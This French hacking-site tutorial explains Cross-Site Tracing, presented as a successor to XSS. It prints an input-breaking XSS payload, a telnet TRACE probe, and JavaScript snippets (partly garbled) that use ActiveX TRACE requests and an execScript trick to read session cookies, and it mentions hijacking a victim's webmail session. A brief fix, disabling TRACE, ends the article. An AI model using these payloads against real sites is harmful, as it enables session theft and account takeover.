Site partenaire
 IP Scan :
Home
  Accueil
SH en favoris
- FORUMS -
Livre d'Or
- CHAT -
NewsLetter
Suggestions
La Team du Site
Accès Team SH
Faites un don !
Contacts
 
Services
  Liens
Source HTML viewer
DownLoad
Mail Anonyme
 
Les Articles
  Cracking
Théorie
Programmation
Failles [techniques]
Les Adresses IP
FingerPrinting
Utilisation de proxy
Divers
 
WallPapers Galerie
   
Partenaires
  The Hackademy Web, Journal et School

 
 Main Message
 
Le recrutement au sein de la Team SH est suspendu pour une durée indéterminée...

Pour surfer sur ce site, vous devez accepter le disclaimer.

Vous pouvez contribuer au développement du site en faisant un don. SecurityHack a besoin de vous !

 
 Présentation de la faille XST
 
Faille XST

Vous avez sûrement entendu parler de la fameuse faille XSS (cross site scripting), qui permettait entre autre de récupérer les cookies d'une session en cours? Et bien voici la nouvelle génération de XSS, appelé le XST (cross site tracing).

Bon, voyons tout d'abord en quoi consistait la faille XSS pour mieux comprendre le XST. Lorsque certaines variables (par exemple en JavaScript) ne sont pas bien protégées/sécurisées, il est possible d'indiquer la fin d'une variable et d'en implémenter une autre à la suite. Je m'explique: lorsque vous avez, par exemple, un formulaire de recherche dans une page web (avec une ligne du genre:
< input type = "text" name = "toto" value = "123" size = "30"> </input>
< input type = "button" name = "bouton" value = "Appuyes" OnClick = "recherche()"> </input>
).
Il est possible, par l'intermédiaire d'une simple ligne de code, de faire apparaître une fenêtre "alert" contenant à peu près ce que l'on veux.

Ex:

dans la barre de recherche, tapez ceci: "><script>alert('Hello')</script>

Ceci va fermer la balise input et passer en paramètre de recherche le script: alert('Hello'). Dans le cas présent, nous aurons une fenêtre qui apparaîtra avec comme paramètre la chaîne de caractères "Hello". Vous vous en doutez, ceci n'est pas très intéressant... Par contre, il est possible de mettre en paramètre la valeur document.cookie à la place de la chaîne de caractère "Hello". Ceci va donc nous donner la valeur (normalement id_session) de notre cookie sur le site sur lequel nous opérons le test. Avec une manipulation assez simple du code JavaScript, il est possible d'envoyer un e-mail piégé à Monsieur X, nous permettant donc de récupérer son cookie avec sa session. Ceci implique (pour faire bref...) que nous pouvons donc se connecter à son compte e-mail! Voici donc les bases du XSS.

Depuis quelque temps, et étant donné que la plupart des "grands" du monde d'internet ne sont pas stupides (enfin, presque...), genre M$, google, yahoo, ils ont donc interdit, ou plutôt protégé leurs variables contre l'exécution de scripts, et surtout du paramètre "document.cookie". Mais ils se sont arrêtés là!

Avant de vous parler du XST, il serait judicieux de vous illustrer un peu le protocole (protocole est un grand mot...) TRACE (protocole sur lequel repose notre faille).
Si vous ne le savez pas encore, lorsque vous naviguez sur le net vous utilisez plusieurs protocoles pour envoyer et reçevoir des informations, et ceci à votre insu. Je ne vais pas m'étendre là-dessus, mais sachez juste que vous pouvez utiliser plusieurs méthodes, ou requêtes d'envoi et de réception des données. Voici les méthodes possibles: GET, POST, TRACE (il y en a d'autres, mais ce n'est pas trop le but de ce texte ;) ). Ceci étant fait, nous allons donc essayer de retrouver où réside la valeur passée dans document.cookie. Et c'est là qu'intervient la méthode TRACE. En effet, cette méthode va faire un echo des informations contenues dans la requête HTTP, incluant le cookie ainsi que l'authentification web. Voici une méthode très simple, utilisant le protocole Telnet, pour voir si le serveur cible accepte la méthode TRACE:

---------------------
telnet www.test.com 80
Trying 127.0.0.1...
Connected to www.test.com
Escape character is '^]' .
TRACE / HTTP/1.1
Host: www.test.com
X-Header: test
---------------------

Si le serveur accepte la requête TRACE, vous devriez avoir quelque chose comme ça:

---------------------
HTTP/1.1 200 OK
Date: Wed 01 Jan 2004 12:34:20 GMT
Server: Microsoft-IIS/5.0
Content-Tye: message/http

---------------------

Par contre, le problème se situe dans le fait qu'un navigateur comme IE n'accepte pas les requêtes TRACE (les navigateurs ont par défaut la méthode HttpOnly activée, ce qui empêche la réception de requêtes TRACE). Il va donc falloir passer par un autre chemin pour récupérer les informations contenues dans la requête HTTP. C'est là qu'interviennent les langages de programmation et de script comme Java, ActiveScript ou encore JavaScript (normalement tout type de langage peut être utilisé pour cette faille). Par l'intermédiaire de ces langages, il est possible de récupérer les informations contenues dans la requête HTTP. Dans notre exemple nous allons utiliser du JavaScript avec des fonctions ActiveX.

Avec ce simple code, il est possible d'obtenir le cookie envoyé par le site. Si nous sommes loggués sur le site, il nous renverra notre propre cookie.

---------------------
< script type = "text/javascript">
< !--
function sendTrace() {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp."TRACE", "http://www.test.com", false);
xmlDoc.send();
xmlDoc = xmlHttp.responseText;
alert(xmlDoc);
}
//-->
< /script>
< input type = button OnClick = "sendTrace();" value="Trace">

---------------------

Ce petit script va donc envoyer va envoyer une requête TRACE au serveur www.test.com. Si le serveur supporte la méthode TRACE, il va renvoyer un echo avec les informations contenues dans la requête HTTP. Votre navigateur va interpréter ces données par le biais du script JavaScript dans une fenêtre alert. Ce code démontre qu'il est possible d'obtenir un cookie sans passer par document.cookie .
Remarque: il est possible d'obtenir ce genre d'informations même à travers un lien SSL. Il est également intéressant de noter que ce genre de script marche également sur d'autres navigateurs, comme par exemple Mozilla.
Un problème se pose: il n'est pas possible d'atteindre un autre domaine que celui identifié dans la requête du TRACE. Par exemple, un script lancé sur test.com avec comme méthode TRACE n'aura un effet que sur test.com, pas sur d'autres domaines. Ceci peut être contourné assez facilement.

Voici une source permettant d'obtenir le cookie:

---------------------
< script type="text/javascript">
< !--
function xssDomainTraceRequest() {
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.\"TRACE\",\"http://www.test.com\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;";
var target = "http://www.test.com";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))';
showModalDialog(target, null, readyCode);
}
//-->
< /script>

<input type = button OnClick="xssDomainTraceRequest();" value="Show Cookie Information">
---------------------

Vous pouvez tester ce code chez vous sur des sites acceptant la méthode TRACE. Maintenant, à vous de voir ce qu'il est possible de faire avec tout ça ;)


Solution: désactiver la méthode TRACE sur le serveur (activée par défaut)
désactiver l'exécution de scripts ActiveX

Source: Jeremiah Grossman

 

P41f0x -:- SH Team Member

Welcome To SecurityHack.net Articles catalogue

securityhack.net v 4_2
 
Les Sous-domaines
  Projet JackShell
+ Challenge BigContest +
JackTrojan
Forums
Chat IRC
 
Chat Box
 
Up Down
Pseudo :
Message :

 
Box News !
 
 

02 visiteur(s) online
© 2003, 2004 www.SecurityHack.net | Admin : Shad0w ; Webmasters : P41f0x, Dark-Jedi